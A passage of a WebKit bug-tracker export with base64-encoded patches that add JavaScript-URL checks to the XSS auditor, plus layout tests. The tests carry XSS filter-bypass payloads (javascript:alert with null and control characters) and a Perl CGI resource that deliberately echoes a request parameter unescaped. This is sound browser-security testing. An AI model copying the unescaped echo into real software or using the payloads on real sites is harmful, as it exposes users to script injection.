ZG93LmxheW91dFRlc3RDb250cm9sbGVyKSB7CisgICAgbGF5b3V0VGVzdENvbnRyb2xsZXIuZHVt
cEFzVGV4dCgpOworICAgIGxheW91dFRlc3RDb250cm9sbGVyLndhaXRVbnRpbERvbmUoKTsKKyAg
ICBsYXlvdXRUZXN0Q29udHJvbGxlci5zZXRYU1NBdWRpdG9yRW5hYmxlZCh0cnVlKTsKK30KKzwv
c2NyaXB0PgorPC9oZWFkPgorPGJvZHk+Cis8aWZyYW1lIHNyYz0naHR0cDovL2xvY2FsaG9zdDo4
MDAwL3NlY3VyaXR5L3hzc0F1ZGl0b3IvcmVzb3VyY2VzL2VjaG8taW50ZXJ0YWctY2xpY2stYW5k
LW5vdGlmeS5wbD9lbG1pZD1hbmNob3JMaW5rJnE9JTNDYStpZCUzRGFuY2hvckxpbmsraHJlZiUz
RGphdmFzY3JpcHQlM0FhbGVydCUyOC9YU1MvJTI5JTNFdGVzdCUzQy9hJTNFJz4KKzwvaWZyYW1l
PgorPC9ib2R5PgorPC9odG1sPgpJbmRleDogTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0
eS94c3NBdWRpdG9yL3Jlc291cmNlcy9lY2hvLWludGVydGFnLWNsaWNrLWFuZC1ub3RpZnkucGwK
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PQotLS0gTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9y
L3Jlc291cmNlcy9lY2hvLWludGVydGFnLWNsaWNrLWFuZC1ub3RpZnkucGwJKHJldmlzaW9uIDAp
CisrKyBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvcmVzb3VyY2Vz
L2VjaG8taW50ZXJ0YWctY2xpY2stYW5kLW5vdGlmeS5wbAkocmV2aXNpb24gMCkKQEAgLTAsMCAr
MSwyOCBAQAorIyEvdXNyL2Jpbi9wZXJsIC13VAordXNlIHN0cmljdDsKK3VzZSBDR0k7CisKK215
ICRjZ2kgPSBuZXcgQ0dJOworCitwcmludCAiQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJz
ZXQ9VVRGLThcblxuIjsKKworcHJpbnQgIjwhRE9DVFlQRSBodG1sPlxuIjsKK3ByaW50ICI8aHRt
bD5cbiI7CitwcmludCAiPGhlYWQ+XG4iOworcHJpbnQgIjxzY3JpcHQ+XG4iOworcHJpbnQgIndp
bmRvdy5vbmxvYWQgPSBmdW5jdGlvbigpXG4iOworcHJpbnQgIntcbiI7CitwcmludCAiICAgIHZh
ciBldmVudCA9IGRvY3VtZW50LmNyZWF0ZUV2ZW50KCdNb3VzZUV2ZW50Jyk7XG4iOworcHJpbnQg
IiAgICBldmVudC5pbml0RXZlbnQoJ2NsaWNrJywgdHJ1ZSwgdHJ1ZSk7XG4iOworcHJpbnQgIiAg
ICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIi4kY2dpLT5wYXJhbSgnZWxtaWQnKS4iJykuZGlz
cGF0Y2hFdmVudChldmVudCk7XG4iOworcHJpbnQgIn1cbiI7CitwcmludCAiPC9zY3JpcHQ+XG4i
OworcHJpbnQgIjwvaGVhZD5cbiI7CitwcmludCAiPGJvZHk+XG4iOworcHJpbnQgJGNnaS0+cGFy
YW0oJ3EnKTsKK3ByaW50ICI8c2NyaXB0PlxuIjsKK3ByaW50ICJpZiAod2luZG93LmxheW91dFRl
c3RDb250cm9sbGVyKVxuIjsKK3ByaW50ICIgICAgbGF5b3V0VGVzdENvbnRyb2xsZXIubm90aWZ5
RG9uZSgpO1xuIjsKK3ByaW50ICI8L3NjcmlwdD5cbiI7CitwcmludCAiPC9ib2R5PlxuIjsKK3By
aW50ICI8L2h0bWw+XG4iOwoKUHJvcGVydHkgY2hhbmdlcyBvbjogTGF5b3V0VGVzdHMvaHR0cC90
ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL3Jlc291cmNlcy9lY2hvLWludGVydGFnLWNsaWNrLWFu
ZC1ub3RpZnkucGwKX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fXwpOYW1lOiBzdm46ZXhlY3V0YWJsZQogICArICoKCg==
</data>
<flag name="review"
          id="16984"
          type_id="1"
          status="-"
          setter="abarth"
    />
          </attachment>
          <attachment
              isobsolete="0"
              ispatch="1"
              isprivate="0"
          >
            <attachid>32573</attachid>
            <date>2009-07-10 13:35:23 -0700</date>
            <delta_ts>2009-07-10 13:39:27 -0700</delta_ts>
            <desc>Updated patch with tests.</desc>
            <filename>Bug27151_2.patch</filename>
            <type>text/plain</type>
            <size>12122</size>
            <attacher name="Daniel Bates">dbates</attacher>
            
              <data encoding="base64">SW5kZXg6IFdlYkNvcmUvQ2hhbmdlTG9nCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tIFdlYkNvcmUvQ2hhbmdlTG9n
CShyZXZpc2lvbiA0NTcyMikKKysrIFdlYkNvcmUvQ2hhbmdlTG9nCSh3b3JraW5nIGNvcHkpCkBA
IC0xLDMgKzEsMjcgQEAKKzIwMDktMDctMTAgIERhbmllbCBCYXRlcyAgPGRiYXRlc0BpbnR1ZGF0
YS5jb20+CisKKyAgICAgICAgUmV2aWV3ZWQgYnkgTk9CT0RZIChPT1BTISkuCisKKyAgICAgICAg
aHR0cHM6Ly9idWdzLndlYmtpdC5vcmcvc2hvd19idWcuY2dpP2lkPTI3MTUxCisgICAgICAgIAor
ICAgICAgICBGaXhlcyBpc3N1ZSB3aGVyZSBKYXZhU2NyaXB0IFVSTHMgdGhhdCBjb250YWluIG51
bGwtIGFuZCBub24tbnVsbCBjb250cm9sIGNoYXJhY3RlcnMgY2FuCisgICAgICAgIGJ5cGFzcyBY
U1NBdWRpdG9yLgorCisgICAgICAgIFRlc3RzOiBodHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0
b3IvamF2YXNjcmlwdC1saW5rLWNvbnRyb2wtY2hhci5odG1sCisgICAgICAgICAgICAgICBodHRw
L3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvamF2YXNjcmlwdC1saW5rLW51bGwtY2hhci5odG1s
CisgICAgICAgICAgICAgICBodHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvamF2YXNjcmlw
dC1saW5rLmh0bWwKKworICAgICAgICAqIGJpbmRpbmdzL2pzL1NjcmlwdENvbnRyb2xsZXIuY3Bw
OgorICAgICAgICAoV2ViQ29yZTo6U2NyaXB0Q29udHJvbGxlcjo6ZXZhbHVhdGUpOiBTZXBhcmF0
ZWQgb3V0IGxvZ2ljIGZvciBKYXZhU2NyaXB0IFVSTHMgZnJvbSAKKyAgICAgICAgaW5saW5lIHNj
cmlwdHMuIEZvciBKYXZhU2NyaXB0IFVSTHMsIGNhbGxzIFhTU0F1ZGl0b3I6OmNhbkV2YWx1YXRl
SmF2YVNjcmlwdFVSTC4KKyAgICAgICAgKiBiaW5kaW5ncy92OC9TY3JpcHRDb250cm9sbGVyLmNw
cDoKKyAgICAgICAgKFdlYkNvcmU6OlNjcmlwdENvbnRyb2xsZXI6OmV2YWx1YXRlKTogTWFkZSBz
aW1pbGFyIGNoYW5nZXMgdG8gZXZhbHVhdGUoKSBhcyBpbiAKKyAgICAgICAgYmluZGluZ3MvanMv
U2NyaXB0Q29udHJvbGxlci5jcHAuCisgICAgICAgICogcGFnZS9YU1NBdWRpdG9yLmNwcDoKKyAg
ICAgICAgKFdlYkNvcmU6OlhTU0F1ZGl0b3I6OmNhbkV2YWx1YXRlSmF2YVNjcmlwdFVSTCk6IFNl
cGFyYXRlZCBvdXQgbG9naWMgZm9yIEphdmFTY3JpcHQgVVJMcworICAgICAgICBpbnRvIGl0cyBv
d24gbWV0aG9kLgorICAgICAgICAqIHBhZ2UvWFNTQXVkaXRvci5oOgorCiAyMDA5LTA3LTEwICBT
dGV2ZSBGYWxrZW5idXJnICA8c2ZhbGtlbkBhcHBsZS5jb20+CiAKICAgICAgICAgPHJkYXI6Ly9w
cm9ibGVtLzcwNDg3NDE+IFJFR1JFU1NJT046IEVycm9yIGFib3V0IG1pc3NpbmcgU3dNZW51WC5k
bGwgb3BlbmluZyBwYWdlcyB3aXRoIFNob2Nrd2F2ZQpJbmRleDogV2ViQ29yZS9iaW5kaW5ncy9q
cy9TY3JpcHRDb250cm9sbGVyLmNwcAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBXZWJDb3JlL2JpbmRpbmdzL2pz
L1NjcmlwdENvbnRyb2xsZXIuY3BwCShyZXZpc2lvbiA0NTM0MikKKysrIFdlYkNvcmUvYmluZGlu
Z3MvanMvU2NyaXB0Q29udHJvbGxlci5jcHAJKHdvcmtpbmcgY29weSkKQEAgLTgxLDcgKzgxLDE1
IEBAIFNjcmlwdENvbnRyb2xsZXI6On5TY3JpcHRDb250cm9sbGVyKCkKIAogU2NyaXB0VmFsdWUg
U2NyaXB0Q29udHJvbGxlcjo6ZXZhbHVhdGUoY29uc3QgU2NyaXB0U291cmNlQ29kZSYgc291cmNl
Q29kZSkgCiB7Ci0gICAgaWYgKCFtX1hTU0F1ZGl0b3ItPmNhbkV2YWx1YXRlKHNvdXJjZUNvZGUu
c291cmNlKCkpKSB7CisgICAgY29uc3QgU291cmNlQ29kZSYganNTb3VyY2VDb2RlID0gc291cmNl
Q29kZS5qc1NvdXJjZUNvZGUoKTsKKyAgICBTdHJpbmcgc291cmNlVVJMID0ganNTb3VyY2VDb2Rl
LnByb3ZpZGVyKCktPnVybCgpOworICAgIAorICAgIGlmIChzb3VyY2VVUkwuaXNOdWxsKCkgJiYg
IW1fWFNTQXVkaXRvci0+Y2FuRXZhbHVhdGVKYXZhU2NyaXB0VVJMKHNvdXJjZUNvZGUuc291cmNl
KCkpKSB7CisgICAgICAgIC8vIFRoaXMgSmF2YVNjcmlwdCBVUkwgaXMgbm90IHNhZmUgdG8gYmUg
ZXZhbHVhdGVkLgorICAgICAgICByZXR1cm4gSlNWYWx1ZSgpOworICAgIH0KKyAgICAKKyAgICBp
ZiAoIXNvdXJjZVVSTC5pc051bGwoKSAmJiAhbV9YU1NBdWRpdG9yLT5jYW5FdmFsdWF0ZShzb3Vy
Y2VDb2RlLnNvdXJjZSgpKSkgewogICAgICAgICAvLyBUaGlzIHNjcmlwdCBpcyBub3Qgc2FmZSB0
byBiZSBldmFsdWF0ZWQuCiAgICAgICAgIHJldHVybiBKU1ZhbHVlKCk7CiAgICAgfQpAQCAtODks
OCArOTcsNiBAQCBTY3JpcHRWYWx1ZSBTY3JpcHRDb250cm9sbGVyOjpldmFsdWF0ZShjCiAgICAg
Ly8gZXZhbHVhdGUgY29kZS4gUmV0dXJucyB0aGUgSlMgcmV0dXJuIHZhbHVlIG9yIDAKICAgICAv
LyBpZiB0aGVyZSB3YXMgbm9uZSwgYW4gZXJyb3Igb2NjdXJlZCBvciB0aGUgdHlwZSBjb3VsZG4n
dCBiZSBjb252ZXJ0ZWQuCiAKLSAgICBjb25zdCBTb3VyY2VDb2RlJiBqc1NvdXJjZUNvZGUgPSBz
b3VyY2VDb2RlLmpzU291cmNlQ29kZSgpOwotCiAgICAgaW5pdFNjcmlwdElmTmVlZGVkKCk7CiAg
ICAgLy8gaW5saW5lQ29kZSBpcyB0cnVlIGZvciA8YSBocmVmPSJqYXZhc2NyaXB0OmRvU29tZXRo
aW5nKCkiPgogICAgIC8vIGFuZCBmYWxzZSBmb3IgPHNjcmlwdD5kb1NvbWV0aGluZygpPC9zY3Jp
cHQ+LiBDaGVjayBpZiBpdCBoYXMgdGhlCkBAIC05OCw3ICsxMDQsNiBAQCBTY3JpcHRWYWx1ZSBT
Y3JpcHRDb250cm9sbGVyOjpldmFsdWF0ZShjCiAgICAgLy8gU2VlIHNtYXJ0IHdpbmRvdy5vcGVu
IHBvbGljeSBmb3Igd2hlcmUgdGhpcyBpcyB1c2VkLgogICAgIEV4ZWNTdGF0ZSogZXhlYyA9IG1f
d2luZG93U2hlbGwtPndpbmRvdygpLT5nbG9iYWxFeGVjKCk7CiAgICAgY29uc3QgU3RyaW5nKiBz
YXZlZFNvdXJjZVVSTCA9IG1fc291cmNlVVJMOwotICAgIFN0cmluZyBzb3VyY2VVUkwgPSBqc1Nv
dXJjZUNvZGUucHJvdmlkZXIoKS0+dXJsKCk7CiAgICAgbV9zb3VyY2VVUkwgPSAmc291cmNlVVJM
OwogCiAgICAgSlNMb2NrIGxvY2soZmFsc2UpOwpJbmRleDogV2ViQ29yZS9iaW5kaW5ncy92OC9T
Y3JpcHRDb250cm9sbGVyLmNwcAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBXZWJDb3JlL2JpbmRpbmdzL3Y4L1Nj
cmlwdENvbnRyb2xsZXIuY3BwCShyZXZpc2lvbiA0NTM0MikKKysrIFdlYkNvcmUvYmluZGluZ3Mv
djgvU2NyaXB0Q29udHJvbGxlci5jcHAJKHdvcmtpbmcgY29weSkKQEAgLTE5Myw3ICsxOTMsMTQg
QEAgdm9pZCBTY3JpcHRDb250cm9sbGVyOjpldmFsdWF0ZUluTmV3Q29udAogLy8gRXZhbHVhdGUg
YSBzY3JpcHQgZmlsZSBpbiB0aGUgZW52aXJvbm1lbnQgb2YgdGhpcyBwcm94eS4KIFNjcmlwdFZh
bHVlIFNjcmlwdENvbnRyb2xsZXI6OmV2YWx1YXRlKGNvbnN0IFNjcmlwdFNvdXJjZUNvZGUmIHNv
dXJjZUNvZGUpCiB7Ci0gICAgaWYgKCFtX1hTU0F1ZGl0b3ItPmNhbkV2YWx1YXRlKHNvdXJjZUNv
ZGUuc291cmNlKCkpKSB7CisgICAgU3RyaW5nIHNvdXJjZVVSTCA9IHNvdXJjZUNvZGUuanNTb3Vy
Y2VDb2RlKCkucHJvdmlkZXIoKS0+dXJsKCk7CisgICAgCisgICAgaWYgKHNvdXJjZVVSTC5pc051
bGwoKSAmJiAhbV9YU1NBdWRpdG9yLT5jYW5FdmFsdWF0ZUphdmFTY3JpcHRVUkwoc291cmNlQ29k
ZS5zb3VyY2UoKSkpIHsKKyAgICAgICAgLy8gVGhpcyBKYXZhU2NyaXB0IFVSTCBpcyBub3Qgc2Fm
ZSB0byBiZSBldmFsdWF0ZWQuCisgICAgICAgIHJldHVybiBKU1ZhbHVlKCk7CisgICAgfQorICAg
IAorICAgIGlmICghc291cmNlVVJMLmlzTnVsbCgpICYmICFtX1hTU0F1ZGl0b3ItPmNhbkV2YWx1
YXRlKHNvdXJjZUNvZGUuc291cmNlKCkpKSB7CiAgICAgICAgIC8vIFRoaXMgc2NyaXB0IGlzIG5v
dCBzYWZlIHRvIGJlIGV2YWx1YXRlZC4KICAgICAgICAgcmV0dXJuIFNjcmlwdFZhbHVlKCk7CiAg
ICAgfQpJbmRleDogV2ViQ29yZS9wYWdlL1hTU0F1ZGl0b3IuY3BwCj09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tIFdl
YkNvcmUvcGFnZS9YU1NBdWRpdG9yLmNwcAkocmV2aXNpb24gNDU2ODIpCisrKyBXZWJDb3JlL3Bh
Z2UvWFNTQXVkaXRvci5jcHAJKHdvcmtpbmcgY29weSkKQEAgLTc3LDYgKzc3LDE5IEBAIGJvb2wg
WFNTQXVkaXRvcjo6Y2FuRXZhbHVhdGUoY29uc3QgU3RyaW4KICAgICByZXR1cm4gdHJ1ZTsKIH0K
IAorYm9vbCBYU1NBdWRpdG9yOjpjYW5FdmFsdWF0ZUphdmFTY3JpcHRVUkwoY29uc3QgU3RyaW5n
JiBjb2RlKSBjb25zdAoreworICAgIGlmICghaXNFbmFibGVkKCkpCisgICAgICAgIHJldHVybiB0
cnVlOworCisgICAgaWYgKGZpbmRJblJlcXVlc3QoY29kZSwgZmFsc2UsIGZhbHNlKSkgeworICAg
ICAgICBERUZJTkVfU1RBVElDX0xPQ0FMKFN0cmluZywgY29uc29sZU1lc3NhZ2UsICgiUmVmdXNl
ZCB0byBleGVjdXRlIGEgSmF2YVNjcmlwdCBzY3JpcHQuIFNvdXJjZSBjb2RlIG9mIHNjcmlwdCBm
b3VuZCB3aXRoaW4gcmVxdWVzdC5cbiIpKTsKKyAgICAgICAgbV9mcmFtZS0+ZG9tV2luZG93KCkt
PmNvbnNvbGUoKS0+YWRkTWVzc2FnZShKU01lc3NhZ2VTb3VyY2UsIEVycm9yTWVzc2FnZUxldmVs
LCBjb25zb2xlTWVzc2FnZSwgMSwgU3RyaW5nKCkpOworICAgICAgICByZXR1cm4gZmFsc2U7Cisg
ICAgfQorICAgIHJldHVybiB0cnVlOworfQorCiBib29sIFhTU0F1ZGl0b3I6OmNhbkNyZWF0ZUlu
bGluZUV2ZW50TGlzdGVuZXIoY29uc3QgU3RyaW5nJiwgY29uc3QgU3RyaW5nJiBjb2RlKSBjb25z
dAogewogICAgIGlmICghaXNFbmFibGVkKCkpCkluZGV4OiBXZWJDb3JlL3BhZ2UvWFNTQXVkaXRv
ci5oCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT0KLS0tIFdlYkNvcmUvcGFnZS9YU1NBdWRpdG9yLmgJKHJldmlzaW9uIDQ1
NjgyKQorKysgV2ViQ29yZS9wYWdlL1hTU0F1ZGl0b3IuaAkod29ya2luZyBjb3B5KQpAQCAtNzQs
NiArNzQsMTAgQEAgbmFtZXNwYWNlIFdlYkNvcmUgewogICAgICAgICAvLyBiYXNlZCBvbiB0aGUg
Y29udGVudCBvZiBhbnkgdXNlci1zdWJtaXR0ZWQgZGF0YS4KICAgICAgICAgYm9vbCBjYW5FdmFs
dWF0ZShjb25zdCBTdHJpbmcmIHNvdXJjZUNvZGUpIGNvbnN0OwogCisgICAgICAgIC8vIERldGVy
bWluZXMgd2hldGhlciB0aGUgSmF2YVNjcmlwdCBVUkwgc2hvdWxkIGJlIGFsbG93ZWQgb3IgZGVu
aWVkIGV4ZWN1dGlvbgorICAgICAgICAvLyBiYXNlZCBvbiB0aGUgY29udGVudCBvZiBhbnkgdXNl
ci1zdWJtaXR0ZWQgZGF0YS4KKyAgICAgICAgYm9vbCBjYW5FdmFsdWF0ZUphdmFTY3JpcHRVUkwo
Y29uc3QgU3RyaW5nJiBjb2RlKSBjb25zdDsKKwogICAgICAgICAvLyBEZXRlcm1pbmVzIHdoZXRo
ZXIgdGhlIGV2ZW50IGxpc3RlbmVyIHNob3VsZCBiZSBjcmVhdGVkIGJhc2VkIG9uIHRoZQogICAg
ICAgICAvLyBjb250ZW50IG9mIGFueSB1c2VyLXN1Ym1pdHRlZCBkYXRhLgogICAgICAgICBib29s
IGNhbkNyZWF0ZUlubGluZUV2ZW50TGlzdGVuZXIoY29uc3QgU3RyaW5nJiBmdW5jdGlvbk5hbWUs
IGNvbnN0IFN0cmluZyYgY29kZSkgY29uc3Q7CkluZGV4OiBMYXlvdXRUZXN0cy9DaGFuZ2VMb2cK
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PQotLS0gTGF5b3V0VGVzdHMvQ2hhbmdlTG9nCShyZXZpc2lvbiA0NTcyMikKKysr
IExheW91dFRlc3RzL0NoYW5nZUxvZwkod29ya2luZyBjb3B5KQpAQCAtMSwzICsxLDE5IEBACisy
MDA5LTA3LTEwICBEYW5pZWwgQmF0ZXMgIDxkYmF0ZXNAaW50dWRhdGEuY29tPgorCisgICAgICAg
IFJldmlld2VkIGJ5IE5PQk9EWSAoT09QUyEpLgorCisgICAgICAgIGh0dHBzOi8vYnVncy53ZWJr
aXQub3JnL3Nob3dfYnVnLmNnaT9pZD0yNzE1MQorCisgICAgICAgIFRlc3RzIHByZXZlbnRpb24g
b2YgSmF2YVNjcmlwdCBVUkxzIHRoYXQgY29udGFpbiBudWxsLSBhbmQgbm9uLW51bGwgY29udHJv
bCBjaGFyYWN0ZXJzLgorCisgICAgICAgICogaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9y
L2phdmFzY3JpcHQtbGluay1jb250cm9sLWNoYXItZXhwZWN0ZWQudHh0OiBBZGRlZC4KKyAgICAg
ICAgKiBodHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvamF2YXNjcmlwdC1saW5rLWNvbnRy
b2wtY2hhci5odG1sOiBBZGRlZC4KKyAgICAgICAgKiBodHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1
ZGl0b3IvamF2YXNjcmlwdC1saW5rLWV4cGVjdGVkLnR4dDogQWRkZWQuCisgICAgICAgICogaHR0
cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL2phdmFzY3JpcHQtbGluay1udWxsLWNoYXItZXhw
ZWN0ZWQudHh0OiBBZGRlZC4KKyAgICAgICAgKiBodHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0
b3IvamF2YXNjcmlwdC1saW5rLW51bGwtY2hhci5odG1sOiBBZGRlZC4KKyAgICAgICAgKiBodHRw
L3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvamF2YXNjcmlwdC1saW5rLmh0bWw6IEFkZGVkLgor
ICAgICAgICAqIGh0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9yZXNvdXJjZXMvZWNoby1p
bnRlcnRhZy1jbGljay1hbmQtbm90aWZ5LnBsOiBBZGRlZC4KKwogMjAwOS0wNy0xMCAgRGlyayBQ
cmFua2UgIDxkcHJhbmtlQGNocm9taXVtLm9yZz4KIAogICAgICAgICBSZXZpZXdlZCBieSBEYXJp
biBBZGxlci4KSW5kZXg6IExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRv
ci9qYXZhc2NyaXB0LWxpbmstY29udHJvbC1jaGFyLWV4cGVjdGVkLnR4dAo9PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0t
LSBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvamF2YXNjcmlwdC1s
aW5rLWNvbnRyb2wtY2hhci1leHBlY3RlZC50eHQJKHJldmlzaW9uIDApCisrKyBMYXlvdXRUZXN0
cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvamF2YXNjcmlwdC1saW5rLWNvbnRyb2wt
Y2hhci1leHBlY3RlZC50eHQJKHJldmlzaW9uIDApCkBAIC0wLDAgKzEsMyBAQAorQ09OU09MRSBN
RVNTQUdFOiBsaW5lIDE6IFJlZnVzZWQgdG8gZXhlY3V0ZSBhIEphdmFTY3JpcHQgc2NyaXB0LiBT
b3VyY2UgY29kZSBvZiBzY3JpcHQgZm91bmQgd2l0aGluIHJlcXVlc3QuCisKKwpJbmRleDogTGF5
b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL2phdmFzY3JpcHQtbGluay1j
b250cm9sLWNoYXIuaHRtbAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3Nl
Y3VyaXR5L3hzc0F1ZGl0b3IvamF2YXNjcmlwdC1saW5rLWNvbnRyb2wtY2hhci5odG1sCShyZXZp
c2lvbiAwKQorKysgTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL2ph
dmFzY3JpcHQtbGluay1jb250cm9sLWNoYXIuaHRtbAkocmV2aXNpb24gMCkKQEAgLTAsMCArMSwx
NiBAQAorPCFET0NUWVBFIGh0bWw+Cis8aHRtbD4KKzxoZWFkPgorPHNjcmlwdD4KK2lmICh3aW5k
b3cubGF5b3V0VGVzdENvbnRyb2xsZXIpIHsKKyAgICBsYXlvdXRUZXN0Q29udHJvbGxlci5kdW1w
QXNUZXh0KCk7CisgICAgbGF5b3V0VGVzdENvbnRyb2xsZXIud2FpdFVudGlsRG9uZSgpOworICAg
IGxheW91dFRlc3RDb250cm9sbGVyLnNldFhTU0F1ZGl0b3JFbmFibGVkKHRydWUpOworfQorPC9z
Y3JpcHQ+Cis8L2hlYWQ+Cis8Ym9keT4KKzxpZnJhbWUgc3JjPSdodHRwOi8vbG9jYWxob3N0Ojgw
MDAvc2VjdXJpdHkveHNzQXVkaXRvci9yZXNvdXJjZXMvZWNoby1pbnRlcnRhZy1jbGljay1hbmQt
bm90aWZ5LnBsP2VsbWlkPWFuY2hvckxpbmsmcT0lM0NhK2lkJTNEYW5jaG9yTGluaytocmVmJTNE
amF2YXNjcmlwdCUzQWFsZXJ0JTI4L1hTUyUwNS8lMjklM0V0ZXN0JTNDL2ElM0UnPgorPC9pZnJh
bWU+Cis8L2JvZHk+Cis8L2h0bWw+CkluZGV4OiBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3Vy
aXR5L3hzc0F1ZGl0b3IvamF2YXNjcmlwdC1saW5rLWV4cGVjdGVkLnR4dAo9PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0t
LSBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvamF2YXNjcmlwdC1s
aW5rLWV4cGVjdGVkLnR4dAkocmV2aXNpb24gMCkKKysrIExheW91dFRlc3RzL2h0dHAvdGVzdHMv
c2VjdXJpdHkveHNzQXVkaXRvci9qYXZhc2NyaXB0LWxpbmstZXhwZWN0ZWQudHh0CShyZXZpc2lv
biAwKQpAQCAtMCwwICsxLDMgQEAKK0NPTlNPTEUgTUVTU0FHRTogbGluZSAxOiBSZWZ1c2VkIHRv
IGV4ZWN1dGUgYSBKYXZhU2NyaXB0IHNjcmlwdC4gU291cmNlIGNvZGUgb2Ygc2NyaXB0IGZvdW5k
IHdpdGhpbiByZXF1ZXN0LgorCisKSW5kZXg6IExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJp
dHkveHNzQXVkaXRvci9qYXZhc2NyaXB0LWxpbmstbnVsbC1jaGFyLWV4cGVjdGVkLnR4dAo9PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09Ci0tLSBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvamF2
YXNjcmlwdC1saW5rLW51bGwtY2hhci1leHBlY3RlZC50eHQJKHJldmlzaW9uIDApCisrKyBMYXlv
dXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvamF2YXNjcmlwdC1saW5rLW51
bGwtY2hhci1leHBlY3RlZC50eHQJKHJldmlzaW9uIDApCkBAIC0wLDAgKzEsMyBAQAorQ09OU09M
RSBNRVNTQUdFOiBsaW5lIDE6IFJlZnVzZWQgdG8gZXhlY3V0ZSBhIEphdmFTY3JpcHQgc2NyaXB0
LiBTb3VyY2UgY29kZSBvZiBzY3JpcHQgZm91bmQgd2l0aGluIHJlcXVlc3QuCisKKwpJbmRleDog
TGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL2phdmFzY3JpcHQtbGlu
ay1udWxsLWNoYXIuaHRtbAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3Nl
Y3VyaXR5L3hzc0F1ZGl0b3IvamF2YXNjcmlwdC1saW5rLW51bGwtY2hhci5odG1sCShyZXZpc2lv
biAwKQorKysgTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL2phdmFz
Y3JpcHQtbGluay1udWxsLWNoYXIuaHRtbAkocmV2aXNpb24gMCkKQEAgLTAsMCArMSwxNiBAQAor
PCFET0NUWVBFIGh0bWw+Cis8aHRtbD4KKzxoZWFkPgorPHNjcmlwdD4KK2lmICh3aW5kb3cubGF5
b3V0VGVzdENvbnRyb2xsZXIpIHsKKyAgICBsYXlvdXRUZXN0Q29udHJvbGxlci5kdW1wQXNUZXh0
KCk7CisgICAgbGF5b3V0VGVzdENvbnRyb2xsZXIud2FpdFVudGlsRG9uZSgpOworICAgIGxheW91
dFRlc3RDb250cm9sbGVyLnNldFhTU0F1ZGl0b3JFbmFibGVkKHRydWUpOworfQorPC9zY3JpcHQ+
Cis8L2hlYWQ+Cis8Ym9keT4KKzxpZnJhbWUgc3JjPSdodHRwOi8vbG9jYWxob3N0OjgwMDAvc2Vj
dXJpdHkveHNzQXVkaXRvci9yZXNvdXJjZXMvZWNoby1pbnRlcnRhZy1jbGljay1hbmQtbm90aWZ5
LnBsP2VsbWlkPWFuY2hvckxpbmsmcT0lM0NhK2lkJTNEYW5jaG9yTGluaytocmVmJTNEamF2YXNj
